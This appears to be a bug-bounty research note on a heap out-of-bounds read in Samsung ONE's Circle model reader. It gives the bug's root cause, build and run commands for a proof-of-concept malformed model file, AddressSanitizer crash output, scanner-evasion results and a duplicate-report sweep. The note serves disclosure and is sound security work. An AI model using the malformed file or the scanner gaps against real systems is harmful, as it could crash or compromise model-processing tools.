circle-external-buffer-oob-poc / TECHNICAL_NOTES.md
AgentRen's picture
Add Circle external buffer OOB PoC
8602386 verified
|
Raw
History Blame Contribute Delete
9.31 kB

Circle External Buffer Offset/Size OOB Read Candidate

Date: 2026-06-26

Target: Huntr model format circle ($1,500 lane)

Source snapshot:

  • Repo: research/triage/audits/circle-2026-06-26/ONE
  • Commit: de7f4736dc4c4f5e47f72a4022a9aa9ac6d1ad1a
  • Last commit: de7f4736 [exo] Fix exception throw for unknown dialect (#16483)

Verdict

Submission candidate.

I found a verifier-clean Circle file that causes an ASan heap-buffer-overflow in Samsung ONE's circledump path. The bug is an external-buffer bounds check gap: mio_circle::Reader::buffer_info() checks only offset with std::vector::at(), while attacker-controlled size is returned to callers without validating offset + size <= raw_file_size.

The strongest demonstrated sink is now the real circledump::dump_buffer() code path, compiled directly with the current generated Circle schema and ASan. A production runtime loader impact would still strengthen severity, but this is no longer just a Reader harness.

Bug Shape

Circle's schema permits buffers whose tensor data lives outside the FlatBuffer region:

  • circle_schema.fbs
  • Fields: offset: ulong, size: ulong
  • Comment: offset is relative to the beginning of the file and valid if greater than 1.

The vulnerable reader path:

  • Reader.cpp
  • buffer_info() sets buff_data = &_rawdata->at(buffer_offset) at line 125.
  • It returns buffer->size() at line 127.
  • It does not validate that the returned byte span is inside _rawdata.

The known caller/sink:

  • Dump.cpp
  • circledump calls reader.buffer_info(i, &buff_data, ext_offset) and then dump_buffer(os, buff_data, size, 16).
  • dump_buffer() reads buffer[i] for up to 16 bytes.

Artifacts

Reproduction

Use FlatBuffers 23.5.26 headers because the generated Circle header asserts that version. I used /tmp/flatbuffers-23.5.26/include.

cd /home/bradd/.openclaw/workspace

clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I/tmp/flatbuffers-23.5.26/include \
  -Iresearch/triage/audits/circle-2026-06-26/ONE/onert-micro/externals/gen/circle-generated \
  research/triage/audits/circle-2026-06-26/poc/make_circle_external_oob.cpp \
  -o /tmp/make_circle_external_oob

/tmp/make_circle_external_oob \
  research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle

rm -rf /tmp/circle-include
mkdir -p /tmp/circle-include/mio
ln -s /home/bradd/.openclaw/workspace/research/triage/audits/circle-2026-06-26/ONE/onert-micro/externals/gen/circle-generated/circle \
  /tmp/circle-include/mio/circle

clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I/tmp/flatbuffers-23.5.26/include \
  -I/tmp/circle-include \
  -Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/include \
  research/triage/audits/circle-2026-06-26/poc/circle_reader_external_oob_probe.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Reader.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Helper.cpp \
  -o /tmp/circle_reader_external_oob_probe

ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
  /tmp/circle_reader_external_oob_probe \
  research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle

Observed:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circle_reader_external_oob_probe.cpp:36
0 bytes after 232-byte region

Stronger circledump core reproduction:

cd /home/bradd/.openclaw/workspace

# Build FlatBuffers 23.5.26 flatc/libflatbuffers, then regenerate the current Circle schema.
cmake -S /tmp/flatbuffers-23.5.26 -B /tmp/flatbuffers-23.5.26-build \
  -G Ninja -DFLATBUFFERS_BUILD_TESTS=OFF -DFLATBUFFERS_INSTALL=OFF -DCMAKE_BUILD_TYPE=Release
cmake --build /tmp/flatbuffers-23.5.26-build --target flatc flatbuffers -j2

rm -rf /tmp/circle-generated-current /tmp/circle-include-current
mkdir -p /tmp/circle-generated-current /tmp/circle-include-current/mio/circle /tmp/circle-generated-current/circle
/tmp/flatbuffers-23.5.26-build/flatc --cpp -o /tmp/circle-generated-current \
  research/triage/audits/circle-2026-06-26/ONE/runtime/libs/circle-schema/circle_schema.fbs
ln -sf /tmp/circle-generated-current/circle_schema_generated.h \
  /tmp/circle-include-current/mio/circle/schema_generated.h
ln -sf /tmp/circle-generated-current/circle_schema_generated.h \
  /tmp/circle-generated-current/circle/schema_generated.h

clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I/tmp/flatbuffers-23.5.26/include \
  -I/tmp/circle-include-current \
  -Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/include \
  -Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/circledump/include \
  -Iresearch/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src \
  research/triage/audits/circle-2026-06-26/poc/circledump_direct_driver.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/Dump.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/MetadataPrinter.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/circledump/src/OpPrinter.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Reader.cpp \
  research/triage/audits/circle-2026-06-26/ONE/compiler/mio-circle/src/Helper.cpp \
  /tmp/flatbuffers-23.5.26-build/libflatbuffers.a \
  -o /tmp/circledump_direct_driver_current

ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
  /tmp/circledump_direct_driver_current \
  research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle

Observed:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circledump::dump_buffer(...) Dump.cpp:48
circledump::dump_model(...) Dump.cpp:404
operator<<(...) Dump.cpp:479
circledump_direct_driver.cpp:41
0 bytes after 232-byte region

Scanner Results

mfv-scan completed successfully:

tools/model-format-workbench/mfv-scan \
  research/triage/audits/circle-2026-06-26/poc/external_offset_oob.circle \
  --out /tmp/mfv-scan-circle-external-oob \
  --timeout 180

Relevant results:

  • ModelAudit: no security issues detected.
  • ModelScan: no issues; scanned zero model files because Circle is unsupported.
  • PickleScan: not pickle; no dangerous globals.
  • Magika/file: generic unknown/data detection.

This is useful report framing: generic model scanners miss the malformed Circle external-buffer span, while the format-aware reader accepts the file and returns an unsafe pointer/size pair.

Duplicate Sweep

Local:

  • No prior local Circle submission found in research/triage.
  • Existing local offset/size work is OpenVINO/GGUF/other formats, not Circle.

GitHub:

  • gh search issues '"external buffer" "offset" "circle"' --repo Samsung/ONE --limit 20: no results.
  • gh search issues '"buffer_info" "offset"' --repo Samsung/ONE --limit 20: no results.
  • gh search issues '"mio_circle" "buffer_info"' --repo Samsung/ONE --limit 20: no results.
  • gh search issues '"Circle" "heap-buffer-overflow"' --repo Samsung/ONE --limit 20: no results.

Web:

  • Searches for exact mio_circle::Reader / buffer_info / Circle external buffer offset size did not surface a matching public report.
  • Search noise included unrelated pybind11 buffer_info and Samsung non-ONE vulnerabilities.

Duplicate risk: low for exact bug class in Circle external buffers.

Next Steps

  1. Search ONE runtime paths for production consumers of external-buffer offset/size, especially tensor constant loaders.
  2. If only developer tooling is affected, submit carefully as malformed model file causing heap OOB read in shipped Circle inspection tooling.
  3. If a runtime loader consumes the same unchecked span, upgrade the report impact.